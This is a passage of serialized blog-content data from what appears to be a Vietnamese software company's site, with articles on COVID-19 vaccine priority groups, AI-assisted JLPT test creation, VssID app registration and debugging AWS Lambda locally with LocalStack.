articles!!!",[11,4529,4530,4531],{},"Illustration: ",[55,4532,4533],{"href":4533,"rel":4534},"https:\u002F\u002Fwww.clipartmax.com\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":4536},[],"2024-04-02","Recent years, along with the rapid development of the IT (Information Technology) industry, the demand for human resources for the IT industry such as developer, etc. has also increased. Especially in developed countries like Japan. More and more Japanese software development companies are exploiting IT personnel from developing countries like Vietnam under the form of Outsourcing or building offshore companies.",{},"\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam",{"title":4359,"description":4538},"news\u002Fcong-viec-cua-it-com-o-briswell-vietnam","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F21085800\u002Fclipart1702370-e1711439089367.png","kvKTR9qAtWVsxNC4Mea1RL8LYvhUVFfEN2OKXLe7G2k",{"id":4546,"title":4547,"body":4548,"category":69,"created by":70,"date":4610,"description":4552,"extension":72,"meta":4611,"navigation":74,"path":4612,"sections":76,"seo":4613,"stem":4614,"thumbnail":4615,"__hash__":4616},"content_en\u002Fnews\u002Fcovid19-vaccination-vn.md","11 PRIORITY GROUPS ELIGIBLE TO FIRST COVID-19 VACCINATION IN VIETNAM",{"type":8,"value":4549,"toc":4608},[4550,4553,4556,4591,4594,4605],[11,4551,4552],{},"The Ministry of Health has issued Decision 1210 \u002F QD-BYT on approving the plan on the receipt, preservation, distribution and use of Covid-19 vaccine during 2021-2022 supported by the COVAX Facility.",[11,4554,4555],{},"11 groups of subjects receiving Covid-19 vaccination arranged according to priority base on the epidemic situation and the context of limited vaccine supply in Vietnam, including the following subjects:",[765,4557,4558,4561,4564,4567,4570,4573,4576,4579,4582,4585,4588],{"style":2572},[11,4559,4560],{},"1. Healthcare workers;",[11,4562,4563],{},"2. The pandemic prevention and fight task force (members of steering committees, people working in quarantining areas, reporters and others);",[11,4565,4566],{},"3. Diplomats, customs and immigration officers",[11,4568,4569],{},"4. Military force;",[11,4571,4572],{},"5. Police force;",[11,4574,4575],{},"6. Teachers;",[11,4577,4578],{},"7. The elderly aged over 65;",[11,4580,4581],{},"8. Group of essential services: aviation, transportation, tourism, electricity and water supply …;",[11,4583,4584],{},"9. People with chronic diseases;",[11,4586,4587],{},"10. People going abroad on a mission, to work, or study;",[11,4589,4590],{},"11. People in pandemic-hit areas, according to epidemiological indications.",[11,4592,4593],{},"With the amount of 4,886,600 COVID-19 vaccine doses allocated to the following groups of subjects:",[31,4595,4596,4599,4602],{},[34,4597,4598],{},"Quarter I \u002F 2021: Quantity: about 1.2 million doses, equivalent to 600,000 people. Including medical staff and staff participating in anti-epidemic action",[34,4600,4601],{},"Quarter II \u002F 2021: Quantity: about 3.6 million doses, equivalent to 1.8 million people. Including customs officers, diplomats, military forces, police forces and teachers.",[34,4603,4604],{},"Quarter III, IV \u002F 2021: The remaining vaccines COVAX Facility is expected to support from Quarter III \u002F 2021.",[11,4606,4607],{},"Quantity: about 33 million doses, equivalent to 16 million people, including teachers, people over 65 years old, essential service providers (customs, diplomacy, aviation, transportation, tourism), people have adult chronic diseases.",{"title":66,"searchDepth":67,"depth":67,"links":4609},[],"2021-04-09",{},"\u002Fnews\u002Fcovid19-vaccination-vn",{"title":4547,"description":4552},"news\u002Fcovid19-vaccination-vn","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F25135620\u002FFeature-image.png","R3X-hlbaxMplrZtoqaBx8616rFW4Ifm-0sC7CpsMBxQ",{"id":4618,"title":4619,"body":4620,"category":4753,"created by":70,"date":4754,"description":4755,"extension":72,"meta":4756,"navigation":74,"path":4757,"sections":76,"seo":4758,"stem":4759,"thumbnail":4760,"__hash__":4761},"content_en\u002Fnews\u002Fcreatedocument-by-generativeai.md","Creating Test Contents with Generative AI to Publication | Exam Site",{"type":8,"value":4621,"toc":4743},[4622,4626,4629,4636,4640,4643,4647,4650,4669,4673,4676,4680,4683,4687,4696,4699,4705,4708,4716,4719,4726,4730,4733,4736],[403,4623,4625],{"id":4624},"introduction-to-exam-site","Introduction to Exam Site",[11,4627,4628],{},"We operate Exam Site, a platform that tests knowledge across various fields such as programming, AWS, and the Japanese Language Proficiency Test (JLPT N3). The site is currently in beta, but if you are interested, you can access it from the link below.",[11,4630,4631],{},[55,4632,4634],{"href":4633,"title":4634,"rel":4635},"https:\u002F\u002Fexam-site.briswell-vn.com\u002F","Exam Site",[59],[403,4637,4639],{"id":4638},"methods-of-creating-test-content","Methods of Creating Test Content",[11,4641,4642],{},"Creating all the questions, answers, and their explanations from scratch is extremely time-consuming. Beyond the content of the questions, it's also necessary to review the wording and grammar of the text. Therefore, we utilize several AI services to facilitate the provision of our tests. Today, I would like to introduce the process of creating questions for the JLPT N3.",[565,4644,4646],{"id":4645},"_1-creating-test-questions","1. Creating Test Questions",[11,4648,4649],{},"There are two methods of creating test questions:",[31,4651,4652,4655],{},[34,4653,4654],{},"Using prompts: We create questions based on specific prompts given to ChatGPT.",[34,4656,4657,4658,4664,4665,878],{},"Creating from materials: ChatGPT reads content from specific literature or materials and creates questions based on that. For example, ",[55,4659,4663],{"href":4660,"title":4661,"rel":4662},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002FBhAaDPZtsN","FROM LARAVEL 8 TO LARAVEL 10 – A MIGRATION GUIDE AND NEW FEATURES INTRODUCTION",[59],"this test"," was created by reading the content of articles from ",[55,4666,4668],{"href":4667,"title":4661},"\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10\u002F","this site",[565,4670,4672],{"id":4671},"_2-adding-images","2. Adding Images",[11,4674,4675],{},"We search for free images that match the questions and incorporate them. (Since ChatGPT's DALL-E 3 is available, we might also start using generated images from AI in the future.)",[565,4677,4679],{"id":4678},"_3-conducting-reviews","3. Conducting Reviews",[11,4681,4682],{},"Reviews are conducted in cooperation between humans and AI. The role of AI, using tools such as ChatGPT, Bing, and Google Bard, is to check whether the explanations and answers are correct. Humans mainly check whether the content is appropriate as a question. Common issues include having multiple questions using incorrect options, choices being obviously incorrect, or the last option in a multiple-choice question almost always not being set as the correct answer. There might be unbalanced problems due to issues in the prompts used in creating test questions. So, we need the combination of human and AI verification.",[565,4684,4686],{"id":4685},"_4-creating-audio-files","4. Creating Audio Files",[11,4688,4689,4690,4695],{},"We tried various options like Google's Text to Speech and Natural Readers, and eventually, we settled on using ",[55,4691,4693],{"href":4692,"title":4693,"rel":4694},"https:\u002F\u002Fwww.narakeet.com\u002F","Narakeet",[59],". The voice feels more natural compared to others, and it allows instructions to be given via script files. Because we can instruct via script files, we can switch conversation voices during audio file creation, eliminating the need for audio editing, and making re-output easy in case of minor edits.",[11,4697,4698],{},"Example Script",[605,4700,4703],{"className":4701,"code":4702,"language":610},[608],"(voice: Takeshi) \n4番： \n(voice: Tomoka) \n明日の会議は8時半からです。遅れないようにしてください。 (\nvoice: Takeshi) \n1. \n(voice: Kasumi) \n了解しました。 \n(voice: Takeshi) \n2. \n(voice: Kasumi) \n構わないです。 \n(voice: Takeshi) \n3. \n(voice: Kasumi) \nどういたしまして。\n",[612,4704,4702],{"__ignoreMap":66},[11,4706,4707],{},"This is the sound file we created.",[4709,4710,4371,4712],"audio",{"controls":74,"style":4711},"width: 100%",[4713,4714],"source",{"src":4715},"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F25170220\u002FMondai-5.4.mp3",[11,4717,4718],{},"This concludes the process of creating a test. Next, all that remains is to register this on the management screen of Exam Site. Here is the test that has been created in this process.",[11,4720,4721],{},[55,4722,4724],{"href":4723,"title":4724,"rel":4725},"https:\u002F\u002Fexam-site.briswell-vn.com\u002Ftesting\u002Fjlpt-n3-listening-1","JLPT N3 問題 - 聴解①",[59],[403,4727,4729],{"id":4728},"finally","Finally",[11,4731,4732],{},"Exam Site utilizes various technologies to create and publish efficient and diverse test contents. Through these processes, we will continue to provide test questions to everyone.",[11,4734,4735],{},"I would appreciate it if you could follow me on X (Twitter).",[11,4737,4738],{},[55,4739,4741],{"href":4740,"title":4741,"rel":4742},"https:\u002F\u002Ftwitter.com\u002FTrainJapan_Exam","Train Japanese | Exam Site",[59],{"title":66,"searchDepth":67,"depth":67,"links":4744},[4745,4746,4752],{"id":4624,"depth":67,"text":4625},{"id":4638,"depth":67,"text":4639,"children":4747},[4748,4749,4750,4751],{"id":4645,"depth":1306,"text":4646},{"id":4671,"depth":1306,"text":4672},{"id":4678,"depth":1306,"text":4679},{"id":4685,"depth":1306,"text":4686},{"id":4728,"depth":67,"text":4729},"AI","2023-11-03","Introduction to Exam Site We operate Exam Site, a platform that tests knowledge across various fields such as programming, AWS, and the Japanese Language Proficiency Test (JLPT N3). The site is currently in beta, but if you are interested, you can access it from the link below.",{},"\u002Fnews\u002Fcreatedocument-by-generativeai",{"title":4619,"description":4755},"news\u002Fcreatedocument-by-generativeai","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F11\u002F03095653\u002Fexam-site-top.png","ZUGr1iT6CfLIOUTkiyXVTsrHetim30ptYq4UP7hyEB8",{"id":4763,"title":4764,"body":4765,"category":69,"created by":70,"date":4908,"description":4769,"extension":72,"meta":4909,"navigation":74,"path":4910,"sections":76,"seo":4911,"stem":4912,"thumbnail":4913,"__hash__":4914},"content_en\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so.md","REGISTER ELECTRONIC TRANSACTION ACCOUNTS TO USE  THE VSSID APPLICATION - DIGITAL SOCIAL INSURANCE",{"type":8,"value":4766,"toc":4906},[4767,4770,4773,4776,4782,4800,4803,4813,4818,4843,4852,4884],[11,4768,4769],{},"The purpose of “VssID – Digital Social Insurance”, an application on a mobile device platform, is towards integrating utilities including electronic health insurance cards, social insurance books, which help participants of social insurance, health insurance and unemployment insurance to access information, perform public services, step by step replacing the social insurance books and health insurance cards.",[11,4771,4772],{},"To log in and use the application, users need to register a personal electronic transaction account with the social insurance agency and download the VssID - Digital Social Insurance.",[11,4774,4775],{},"Users need to follow the instructions below:",[11,4777,4778,4779],{},"Log in to the website ",[55,4780,2499],{"href":2499,"rel":4781},[59],[11,4783,4784,4785,4788,4789,4792,4793,4796,4797,212],{},"- Click ",[20,4786,4787],{},"“Register”"," and select ",[20,4790,4791],{},"“Individual”"," and then click ",[20,4794,4795],{},"“Next”"," to see ",[20,4798,4799],{},"“Declaration”",[11,4801,4802],{},"- Upload photo: ",[765,4804,4805],{"style":2572},[31,4806,4807,4810],{},[34,4808,4809],{},"Portrait (size 4×6)",[34,4811,4812],{},"Photo of ID card\u002FPassport: front and back ",[31,4814,4815],{},[34,4816,4817],{},"Full in the required information: ",[765,4819,4820],{"style":2572},[31,4821,4822,4825,4828,4831,4834,4837,4840],{},[34,4823,4824],{},"Full name",[34,4826,4827],{},"Social insurance number (the last 10 digits on the health insurance card) ",[34,4829,4830],{},"ID card\u002FPassport number",[34,4832,4833],{},"Address",[34,4835,4836],{},"Contact",[34,4838,4839],{},"E-mail",[34,4841,4842],{},"Mobile number",[31,4844,4845],{},[34,4846,4847,4848,4851],{},"Click the ",[20,4849,4850],{},"“SELECT”"," button to select the social insurance agency to receive the registration: ",[765,4853,4854,4870,4874,4879],{"style":2572},[31,4855,4856],{},[34,4857,4858,4859],{},"[079] City Social Insurance. Ho Chi Minh  \n",[31,4860,4861,4864],{},[34,4862,4863],{},"[07911] Social Insurance District 3",[34,4865,4847,4866,4869],{},[20,4867,4868],{},"“Select”"," button",[11,4871,4872,212],{},[20,4873,1824],{},[11,4875,4876],{},[51,4877,4878],{},"In case the user registers an account and submits the declaration to the company, then select the social insurance agency to receive the registration based on the social insurance agency of the company (Select the social insurance agency corresponding to the address of the company is located).",[11,4880,4881],{},[51,4882,4883],{},"Incase the user is an individual, register and submit the declaration directly to the social insurance agency, choose the closest social insurance agency in the area.",[31,4885,4886,4889,4903],{},[34,4887,4888],{},"Finally, click the \"Submit\" button: the Declaration file will be exported, the user will print the declaration, sign and submit it to the Department in charge of the Company (usually the HR department) to summarize and submit to the insurance agency (as selected above) for approval and activation (the activation code and password are sent to the mobile number as registered).",[34,4890,4891,4892],{},"Download VssID - The digital social insurance application\n",[31,4893,4894,4897,4900],{},[34,4895,4896],{},"Go to the Google Play (for Android users) or AppStore (for iOS users), search for \"VssID\";",[34,4898,4899],{},"Select the VssID application (the LOGO of the social insurance industry, blue color);",[34,4901,4902],{},"Select “Install”.",[34,4904,4905],{},"After receiving the activation code and password in the message from the Vietnam Social Security, the user can log in to the VssID application to view the process of participating in social insurance, health insurance and other utilities.",{"title":66,"searchDepth":67,"depth":67,"links":4907},[],"2021-05-27",{},"\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so",{"title":4764,"description":4769},"news\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F07170644\u002FDangKyMoVssID.png","zEYBDLK9uiyZ325-9ouKHSnWJkOl04HJekR0KoCjboI",{"id":4916,"title":4917,"body":4918,"category":1319,"created by":70,"date":5296,"description":4926,"extension":72,"meta":5297,"navigation":74,"path":5298,"sections":76,"seo":5299,"stem":5300,"thumbnail":5301,"__hash__":5302},"content_en\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack.md","Debugging AWS Lambda with LocalStack",{"type":8,"value":4919,"toc":5269},[4920,4924,4927,4931,4935,4938,4944,4948,4951,4957,4961,4964,4970,4974,4978,4981,4987,4990,4996,5000,5003,5009,5012,5016,5019,5023,5027,5031,5034,5040,5044,5047,5053,5056,5059,5065,5068,5074,5078,5081,5087,5091,5094,5100,5103,5107,5111,5114,5118,5121,5127,5130,5134,5138,5142,5145,5151,5154,5162,5166,5169,5175,5177,5196,5200,5202,5206,5209,5213,5216,5220,5224,5230,5236,5242,5248,5254,5258,5261,5263],[403,4921,4923],{"id":4922},"what-is-localstack","What is LocalStack?",[11,4925,4926],{},"LocalStack is an open-source software development tool that helps you deploy and run applications in a simulated cloud environment on your personal computer or server. It provides a replica of many popular cloud services, such as Amazon S3, AWS Lambda, DynamoDB, and many others. This allows you to develop, test, and debug your applications without having to connect to a real cloud environment.",[403,4928,4930],{"id":4929},"installation","Installation",[565,4932,4934],{"id":4933},"install-localstack","Install LocalStack",[11,4936,4937],{},"Follow the instructions at the following link to install LocalStack:",[11,4939,4940],{},[55,4941,4942],{"href":4942,"rel":4943},"https:\u002F\u002Fdocs.localstack.cloud\u002Fgetting-started\u002Finstallation\u002F",[59],[565,4945,4947],{"id":4946},"install-docker","Install Docker",[11,4949,4950],{},"Follow the instructions at the following link to install Docker:",[11,4952,4953],{},[55,4954,4955],{"href":4955,"rel":4956},"https:\u002F\u002Fdocs.docker.com\u002Fengine\u002Finstall\u002F",[59],[565,4958,4960],{"id":4959},"install-aws-cli","Install AWS CLI",[11,4962,4963],{},"Follow the instructions at the following link to install AWS CLI and configure a profile for the local environment:",[11,4965,4966],{},[55,4967,4968],{"href":4968,"rel":4969},"https:\u002F\u002Fdocs.localstack.cloud\u002Fuser-guide\u002Fintegrations\u002Faws-cli\u002F#aws-cli",[59],[403,4971,4973],{"id":4972},"setup-localstack","Setup LocalStack",[565,4975,4977],{"id":4976},"create-docker-composeyml-file","Create docker-compose.yml file",[11,4979,4980],{},"We will start LocalStack with a Docker-Compose setup. Create a new file named docker-compose.yml and add the following configuration:",[605,4982,4985],{"className":4983,"code":4984,"language":610},[608],"version: \"3.8\"\n\nservices:\n  localstack:\n    container_name: \"${LOCALSTACK_DOCKER_NAME-localstack_main}\"  # Name of the container to be used\n    image: localstack\u002Flocalstack:latest  # Docker image for LocalStack, latest version\n    ports:\n      - \"127.0.0.1:4566:4566\"            # Port for accessing LocalStack Gateway from the local machine\n      - \"127.0.0.1:4510-4559:4510-4559\"  # Port range for external services\n    environment:\n      - DEBUG=1  # Enable Debug mode in LocalStack\n      - LAMBDA_REMOTE_DOCKER=0  # Turn off remote Docker usage for Lambda\n      - LAMBDA_DOCKER_FLAGS=-e NODE_OPTIONS=--inspect-brk=0.0.0.0:9229 -p 9229:9229  # Exposes port 9229 for debugging the Lambda handler code.\n      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR-}  # Lambda execution type (if defined)\n      - DOCKER_HOST=unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock  # Link to Docker via Docker socket\n    volumes:\n      - \"${LOCALSTACK_VOLUME_DIR:-.\u002Fvolume}:\u002Fvar\u002Flib\u002Flocalstack\"  # Mount point for LocalStack data directory\n      - \"\u002Fvar\u002Frun\u002Fdocker.sock:\u002Fvar\u002Frun\u002Fdocker.sock\"  # Mount Docker socket to access Docker from the LocalStack container\n",[612,4986,4984],{"__ignoreMap":66},[11,4988,4989],{},"In addition, to see other configurations of LocalStack, you can refer to the following link:",[11,4991,4992],{},[55,4993,4994],{"href":4994,"rel":4995},"https:\u002F\u002Fdocs.localstack.cloud\u002Freferences\u002Fconfiguration\u002F",[59],[565,4997,4999],{"id":4998},"start-up-localstack-with-docker","Start up LocalStack with Docker",[11,5001,5002],{},"We will run the following command to start LocalStack:",[605,5004,5007],{"className":5005,"code":5006,"language":610},[608],"docker-compose up -d\n",[612,5008,5006],{"__ignoreMap":66},[11,5010,5011],{},"After running the above command, we see that the Docker Container is running",[438,5013],{"className":5014,"alt":66,"src":5015,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12132634\u002Fdocker-container-start.png",[11,5017,5018],{},"And successfully started LocalStack",[438,5020],{"className":5021,"alt":66,"src":5022,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12134424\u002Flocalstack-start-success.png",[403,5024,5026],{"id":5025},"setup-lambda-function-debugging","Setup Lambda Function Debugging",[565,5028,5030],{"id":5029},"create-launchjson-file","Create launch.json file",[11,5032,5033],{},"We create a .vscode\u002Flaunch.json file and add the following configuration:",[605,5035,5038],{"className":5036,"code":5037,"language":610},[608],"{\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"address\": \"127.0.0.1\",\n      \"localRoot\": \"${workspaceFolder}\",\n      \"name\": \"Attach to Remote Node.js\",\n      \"port\": 9229,\n      \"remoteRoot\": \"\u002Fvar\u002Ftask\u002F\",\n      \"request\": \"attach\",\n      \"type\": \"node\",\n      \"preLaunchTask\": \"Wait Remote Debugger Server\"\n    },\n  ]\n}\n",[612,5039,5037],{"__ignoreMap":66},[565,5041,5043],{"id":5042},"create-tasksjson-file","Create tasks.json file",[11,5045,5046],{},"We create a .vscode\u002Ftasks.json file and add the following configuration:",[605,5048,5051],{"className":5049,"code":5050,"language":610},[608],"{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Wait Remote Debugger Server\",\n      \"type\": \"shell\",\n      \"command\": \"while [[ -z $(docker ps | grep :9229) ]]; do sleep 1; done; sleep 1;\"\n    }\n  ]\n}\n",[612,5052,5050],{"__ignoreMap":66},[11,5054,5055],{},"Note: The above code only executes on Linux and macOS. If you are using Windows, do the following:",[11,5057,5058],{},"Create a .vscode\u002Ftasks.json file",[605,5060,5063],{"className":5061,"code":5062,"language":610},[608],"{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Wait Remote Debugger Server\",\n      \"type\": \"shell\",\n      \"command\": \"powershell\",\n      \"args\": [\n        \".\\\\.vscode\\\\wait-debugger.ps1\"\n      ]\n    }\n  ]\n}\n",[612,5064,5062],{"__ignoreMap":66},[11,5066,5067],{},"Create a .vscode\u002Fwait-debugger.ps1 file",[605,5069,5072],{"className":5070,"code":5071,"language":610},[608],"while (-not (docker ps | Select-String \":9229\")) {\n  Start-Sleep -Seconds 1\n}\nStart-Sleep -Seconds 1\n",[612,5073,5071],{"__ignoreMap":66},[565,5075,5077],{"id":5076},"create-functionts-file","Create function.ts file",[11,5079,5080],{},"In this example, we will create a function.ts file containing Lambda Function code using Node.js and TypeScript for debug testing:",[605,5082,5085],{"className":5083,"code":5084,"language":610},[608],"export const  handler = async (event: any) =>  {\n  const response = {\n    statusCode: 200,\n    body: \"hello word\",\n  };\n  return response;\n};\n",[612,5086,5084],{"__ignoreMap":66},[403,5088,5090],{"id":5089},"create-lambda-function-on-localstack","Create Lambda Function on LocalStack",[11,5092,5093],{},"To create a Lambda Function on LocalStack we use the following command:",[605,5095,5098],{"className":5096,"code":5097,"language":610},[608],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 lambda create-function \\\n--function-name localstack-lambda-function \\\n--code S3Bucket=\"hot-reload\",S3Key=\"$(pwd)\u002F\" \\\n--handler function.handler \\\n--runtime nodejs18.x \\\n--timeout 120 \\\n--role arn:aws:iam::000000000000:role\u002Flambda-role\n",[612,5099,5097],{"__ignoreMap":66},[11,5101,5102],{},"After running the above command, the Lambda Function has been successfully created on LocalStack",[438,5104],{"className":5105,"alt":66,"src":5106,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13084745\u002Fcreate-lambda-function-on-localstack-1024x495.png",[403,5108,5110],{"id":5109},"implement-debugging-lambda-function","Implement Debugging Lambda Function",[11,5112,5113],{},"In VS Code you can debug by placing breakpoints where the code needs to be debugged and pressing F5 to run",[438,5115],{"className":5116,"alt":66,"src":5117,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13091141\u002Fstart-debug-lambda-local-1024x532.png",[11,5119,5120],{},"Then execute the Lambda Function with the following command:",[605,5122,5125],{"className":5123,"code":5124,"language":610},[608],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 lambda invoke \\\n--function-name localstack-lambda-function lambda.log \\\n--cli-binary-format raw-in-base64-out \\\n--payload '{\"hello\":\"world\"}'\n",[612,5126,5124],{"__ignoreMap":66},[11,5128,5129],{},"After running the above command, you have successfully debugged",[438,5131],{"className":5132,"alt":66,"src":5133,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13091644\u002Fdebug-success-1024x526.png",[403,5135,5137],{"id":5136},"implement-debugging-lambda-function-with-amazon-s3-to-trigger-aws-lambda-when-uploading-files","Implement Debugging Lambda Function with Amazon S3 to trigger AWS Lambda when uploading files",[565,5139,5141],{"id":5140},"create-a-bucket-on-amazon-s3","Create a bucket on Amazon S3",[11,5143,5144],{},"To create a bucket on Amazon S3, we use the following command:",[605,5146,5149],{"className":5147,"code":5148,"language":610},[608],"aws s3api create-bucket --bucket local-stack-bucket --create-bucket-configuration LocationConstraint=ap-northeast-1 --endpoint-url=http:\u002F\u002Flocalhost:4566\n",[612,5150,5148],{"__ignoreMap":66},[11,5152,5153],{},"In there:",[31,5155,5156],{},[34,5157,5158,5161],{},[20,5159,5160],{},"local-stack-bucket:","  is the name of the bucket",[565,5163,5165],{"id":5164},"configure-amazon-s3-trigger-to-lambda-function","Configure Amazon S3 trigger to Lambda Function",[11,5167,5168],{},"To trigger the Lambda Function when uploading a file to Amazon S3, we use the following command:",[605,5170,5173],{"className":5171,"code":5172,"language":610},[608],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 s3api put-bucket-notification-configuration \\\n    --bucket local-stack-bucket \\\n    --notification-configuration '{\n        \"LambdaFunctionConfigurations\": [\n          {\n            \"Id\": \"1\", \n            \"LambdaFunctionArn\": \"arn:aws:lambda:ap-northeast-1:000000000000:function:localstack-lambda-function\",\n            \"Events\": [\"s3:ObjectCreated:*\"]\n          }\n        ]\n    }'\n",[612,5174,5172],{"__ignoreMap":66},[11,5176,5153],{},[31,5178,5179,5184,5190],{},[34,5180,5181,5183],{},[20,5182,5160],{},"  is the name of the bucket to be configured",[34,5185,5186,5189],{},[20,5187,5188],{},"LambdaFunctionArn:","  is the Arn of the Lambda Function that needs to trigger",[34,5191,5192,5195],{},[20,5193,5194],{},"Events:"," is an event on Amazon S3 that triggers a Lambda Function",[565,5197,5199],{"id":5198},"proceed-to-debug-the-lambda-function","Proceed to debug the Lambda Function",[11,5201,5113],{},[438,5203],{"className":5204,"alt":66,"src":5205,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05135231\u002Fcode-debug-1-1024x520.png",[11,5207,5208],{},"Then proceed to upload the file to the Amazon S3 bucket on the LocalStack cloud",[438,5210],{"className":5211,"alt":66,"src":5212,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05145618\u002Fapp-localstack-1024x369.png",[11,5214,5215],{},"After uploading the file, you have successfully debugged",[438,5217],{"className":5218,"alt":66,"src":5219,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05145927\u002Fresult-debug-1024x522.png",[403,5221,5223],{"id":5222},"the-drawbacks-of-localstack","The Drawbacks of LocalStack",[11,5225,5226,5229],{},[20,5227,5228],{},"Limited Support For AWS Services:","  LocalStack provides emulation for several important services such as S3, DynamoDB, Lambda, and SQS. However, not all AWS services are supported, and some services may be unavailable or implemented with only some basic features. This can be a hassle if your application depends on unsupported services.",[11,5231,5232,5235],{},[20,5233,5234],{},"Missing Features:"," Although LocalStack helps simulate services, not all of their features are implemented. Configuration options can be limited, reducing compatibility between the local development environment and the actual environment on AWS.",[11,5237,5238,5241],{},[20,5239,5240],{},"Limited Scalability:"," LocalStack is not designed to scale as aggressively as the AWS environment. If you are working on large projects at scale, testing and development in a local environment may not reflect reality on AWS.",[11,5243,5244,5247],{},[20,5245,5246],{},"Delay:"," Due to emulation and attempts to replicate AWS services, LocalStack may experience delays compared to the actual use of services. This can reduce performance and slow down development and testing.",[11,5249,5250,5253],{},[20,5251,5252],{},"Slow Update:"," LocalStack may not update quickly with new versions of AWS services. This can lead to asynchrony when new features are needed or when there are changes in the AWS API.",[403,5255,5257],{"id":5256},"conclusion","Conclusion",[11,5259,5260],{},"Using LocalStack helps us develop and debug Lambda Functions, as well as other AWS services, effectively in a local environment. It helps ensure proper integration and functionality before deploying to actual AWS, saving time, and cost, and reducing impact on your real AWS account during development.",[403,5262,3866],{"id":3476},[11,5264,5265],{},[55,5266,5267],{"href":5267,"rel":5268},"https:\u002F\u002Fdocs.localstack.cloud\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":5270},[5271,5272,5277,5281,5286,5287,5288,5293,5294,5295],{"id":4922,"depth":67,"text":4923},{"id":4929,"depth":67,"text":4930,"children":5273},[5274,5275,5276],{"id":4933,"depth":1306,"text":4934},{"id":4946,"depth":1306,"text":4947},{"id":4959,"depth":1306,"text":4960},{"id":4972,"depth":67,"text":4973,"children":5278},[5279,5280],{"id":4976,"depth":1306,"text":4977},{"id":4998,"depth":1306,"text":4999},{"id":5025,"depth":67,"text":5026,"children":5282},[5283,5284,5285],{"id":5029,"depth":1306,"text":5030},{"id":5042,"depth":1306,"text":5043},{"id":5076,"depth":1306,"text":5077},{"id":5089,"depth":67,"text":5090},{"id":5109,"depth":67,"text":5110},{"id":5136,"depth":67,"text":5137,"children":5289},[5290,5291,5292],{"id":5140,"depth":1306,"text":5141},{"id":5164,"depth":1306,"text":5165},{"id":5198,"depth":1306,"text":5199},{"id":5222,"depth":67,"text":5223},{"id":5256,"depth":67,"text":5257},{"id":3476,"depth":67,"text":3866},"2024-03-08",{},"\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack",{"title":4917,"description":4926},"news\u002Fdebugging-aws-lambda-voi-localstack","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12100501\u002Flocalstack-image.jpg","6qONir5EJ9WI-TSlD7WepLp2L4kIlegnPG4QC_6DeYI",{"id":5304,"title":5305,"body":5306,"category":1319,"created by":70,"date":5784,"description":5785,"extension":72,"meta":5786,"navigation":74,"path":5787,"sections":76,"seo":5788,"stem":5789,"thumbnail":5790,"__hash__":5791},"content_en\u002Fnews\u002Fdeploying-node-app-to-ecs-with-docker.md","Deploying Node app to ECS with Docker",{"type":8,"value":5307,"toc":5771},[5308,5311,5315,5330,5339,5345,5357,5361,5364,5367,5371,5374,5377,5383,5386,5392,5395,5401,5409,5412,5416,5419,5425,5429,5432,5438,5442,5445,5451,5454,5458,5461,5467,5475,5479,5483,5486,5489,5495,5498,5504,5507,5511,5514,5523,5526,5530,5533,5541,5545,5548,5552,5555,5562,5566,5569,5583,5586,5618,5622,5626,5629,5633,5662,5666,5669,5673,5676,5680,5683,5712,5716,5719,5727,5731,5734,5739,5743,5751,5753,5759,5765],[11,5309,5310],{},"In this tutorial, I'll walk you through the steps on how to dockerize a Node.js application and then deploy it to Amazon Web Services (AWS) using Amazon Elastic Container Registry 